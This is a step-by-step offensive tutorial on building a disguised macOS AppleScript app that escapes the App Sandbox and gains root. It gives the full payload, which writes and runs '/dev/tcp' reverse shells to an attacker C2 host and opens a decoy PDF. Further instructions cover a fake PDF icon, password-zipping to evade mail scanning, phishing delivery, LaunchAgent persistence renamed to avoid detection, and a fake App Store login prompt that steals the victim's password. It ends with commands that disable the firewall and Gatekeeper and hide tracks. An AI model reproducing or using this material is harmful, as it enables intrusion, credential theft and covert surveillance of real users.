Bypass macOS Sandbox, Privilege Escalation, and more
In this article, we’ll go over the steps required to bypass macOS Sandbox mechanism and perform privilege escalation by manipulating the victim. We’ll mainly focus on the abusing macOS AppleScript and osascript. In this article, I’ll explain some of the macOS components, the steps required for building our payload, mentioning attack vectors, post-exploitation workflow, creating persistence, performing privilege escalation, disable macOS security mechanisms, and cleaning our tracks.
macOS Catalina PoC:
*UPDATE 14.11.2020* - macOS Big Sur PoC:
First I’d like to explain what is AppleScript and why it so powerful by the hand of threat actors. AppleScript is a scripting language created by Apple. “It allows users to directly control scriptable Macintosh applications, as well as parts of macOS itself. You can create scripts — sets of written instructions — to automate repetitive tasks, combine features from multiple scriptable applications, and create complex workflows” (Apple).
Why AppleScript is so powerful?
First, it’s trusted by macOS operating system, and less attention is directed to it in the security field. Second, it allows automating malicious tasks and execution of processes without user interaction. Third, can be easily created using ‘Script Editor’ tool on macOS. All of these explains why AppleScript is preferred by threat actors.
App Sandbox:
App Sandbox is an access control technology provided in macOS, enforced at the kernel level. It is designed to contain damage to the system and the user’s data if an app becomes compromised.
Osascript:
Allows executing AppleScripts and other OSA language scripts. Can execute a given script file, or standard input if none is given. Osascript was designed for use with AppleScript but will work with any Open Scripting Architecture (OSA) language.
The method we’ll show in this article was used by Charlie Miller. It involves dropping a script to the disk and getting it executed by launchd via launchctl. In its PoC, he used “osascript” to send the required Apple events to launchd in order to execute the new process. As the new process is not a ‘child’ of the sandboxed process, it is created without the sandbox restrictions.
Note: This specific technique will be demonstrated on macOS Catalina 15.X and works on Big Sur also. I’d like to mention that for the purpose of testing I’ve chosen the EggShell tool created by the developer Lucas Jackson.
Prerequisites:
- Kali Linux machine up and running (Or any other Linux machine)
- Install EggShell on your Linux machine (Follow the instructions on Github)
- macOS machine (Physical or Virtual) updated to the latest version
Creating the Payload:
Open the macOS machine and look for an application named “Script Editor” that will allow us to create our crafted payload. Now, paste the following script and change the required fields accordingly (without the line numbers):
1 try
2 do shell script "mkdir /Users/$USER/Library/LaunchAgents/"
3 end try
4 set persis to "/Users/$USER/Library/LaunchAgents/.espl.plist"
5 set someText to "bash &> /dev/tcp/[Attacker C2 Address]/[Port Number1] 0>&1"
6 set textFile to "/tmp/.[backdoorName].sh"
7 do shell script "echo " & quoted form of someText & " > " & quoted form of textFile
8 do shell script "/usr/bin/osascript -e 'tell application \"Terminal\" to do script \"sh /tmp/.[backdoorName].sh &\"& quit'"
9 do shell script "open -a Safari 'PDF URL'"
10 set updtText to "bash &> /dev/tcp/[Attacker C2 Address]/[Port Number2] 0>&1"
11 do shell script "echo " & quoted form of updtText & " > " & quoted form of textFile
Now let's understand the idea behind this simple script.
Lines 1–3: Verifying if ‘LaunchAgent’ folder exists for persistence. Otherwise, creating it.
Line 4: Creating the persistence file named ‘.espl.plist’.
Lines 5–7: Creating a reverse shell script file in the tmp folder.
Line 8: Execution of reverse shell one-liner by osascript that runs it through Terminal (without the sandbox restrictions).
Line 9: Execution of Safari to open a PDF page to deceive the victim.
Lines 10–11: Changing the port number of the backdoor script to regain privileged access (will be explained later).
After we’ve done writing the script we’ll compile it using the marked button:
After we finished writing the script, click on the top bar on File -> Export.
Export As: Give a creative name for your payload
File Format: Application
Save
Next, we’ll build our malicious app and disguise it with an icon that will lure the victim to click on it. This is how it looks right after exporting (I wouldn’t click on that…)
Due to that reason, I chose the PDF file icon on macOS.
Then, I used an online converter that allowed me to convert a PNG file to an ICNS file format that is applicable for macOS. Next, save it under the name ‘applet.icns’.
Now, we’ll replace our new ICNS file with the default one.
Right-click on the application -> ‘Show Package Contents’, navigate to the following path: Name_Of_Payload.app/Contents/Resources. Then drag and drop the ICNS file. Click Replace.
After a few seconds, the application icon will be changed.
To ensure our application will run on every macOS and won’t show an error message, we must set it with execute permissions.
To set execute permissions to our application we’ll simply use the following command-line:
chmod +x /pathToApp/Name_Of_Payload.app/Contents/MacOS/*
Then, we want to save our hard work and avoid the file from being corrupted when transferred. We’ll archive it using password-protected zip. To do so, navigate using ‘Terminal’ to your application path, then run the following command-line:
zip -er [name_file.zip] Name_Of_Payload.app
Then, you’ll be asked to insert the protection password twice… Simple!
Next, We’ll have the payload zipped and protected:
Now, we are ready for the attack! Prepare your machine for firing Macs.
Set up the Kali machine ready with an active session of EggShell.
EggShell is a post-exploitation surveillance tool written in Python. It gives you a command-line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more.
If we want a listener for one connection we’ll use the first option of ‘Start Server’. The second option is ‘MultiHandler’ which is used for controlling multiple sessions on the same port. For this example, we’ll use the first option.
Write ‘1’ -> Press Enter -> Insert your IP address\DNS -> Insert port number (ex. 8888)-> Press Enter. That’s it… let’s wait for our victim!
Now, it’s your choice how to send the payload (E.g phishing). If you send the payload via email remember that you most zip it with a password… Most of the mail vendors might detect it as a malicious file (don’t forget to mention the password so the victim will be able to open it).
Then, we’ll wait for the victim to click on the payload and for the connection to be established.
To ensure we’ll be able to return to the victim machine we need to create persistence.
After creating the persistence, a file named ‘.espl.plist’ will be created in the user’s LaunchAgents folder.
We want to change the PLIST file name from ‘.espl.plist’ to ‘.[something].plist’ to avoid detection by security vendors who detect the persistence by recognizing the original file name. Use the following cmdline:
mv /Users/$USER/Library/LaunchAgents/.espl.plist /Users/$USER/Library/LaunchAgents/.[something].plist
Privilege Escalation:
Now, let’s achieve our desired permissions! By luring the user to insert his user credentials we’ll be able to use it for our privileged escalation. To do it, we can prompt a fake login message using macOS AppleScript. EggShell offers it by one of its modules - ‘prompt’. Using the command ‘prompt ’, a message will pop up on the victim’s screen and will ask him for his password. In my PoC I’ve changed the module to make it more reliable. I spawned Appstore with an error message prompt asking for login credentials.
Once the victim inserts its credentials, the password will be exfiltrated. Next, we’ll be asked by EggShell if we would like to attempt performing privilege escalation (try logging as root).
If the password is correct, we’ll achieve our privileged escalation and become root user.
That’s it! WE ARE ROOT!
Now we can do almost whatever we want on this compromised machine.
Remember I said that we need to change the port of the backdoor script?
Here is the reason why, when we’ll come back from the persistence session we won’t be able to perform the ‘su’ command again (due to sandbox restrictions). Therefore, we’ll use oscascript to create a new shell session via Terminal (without sandbox restrictions). Using the following command:
osascript -e 'tell app "Terminal" to do script "sh /tmp/.[backdoorName].sh &" & quit'
Then, we’ll be able to achieve our ROOT privileges again! (executing ‘su’ command without creating this new session, will cause the shell to crash).
Useful commands:
The following commands can be used to disable macOS security mechanisms and hide our tracks:
#Disable macOS Firewall:
/usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off
#Disable macOS GateKeeper:
sudo spctl --master-disable
#Kill processes by name (hide tracks):
pkill "[NameOfProcess\App]"
Now, after we explained everything in detail, it is recommended to watch the PoC again.
Conclusion:
The abuse of AppleScript to bypass sandbox and perform privilege escalation appears to be very simple on macOS. It is likely that attacks weaponized with AppleScript will appear more often because of its vulnerable design — its simplicity and ability to widely control the macOS operating system can make it preferred by threat actors. The combination of a simple script application, good surveillance tool, and a creative mindset can be destructive to the victim.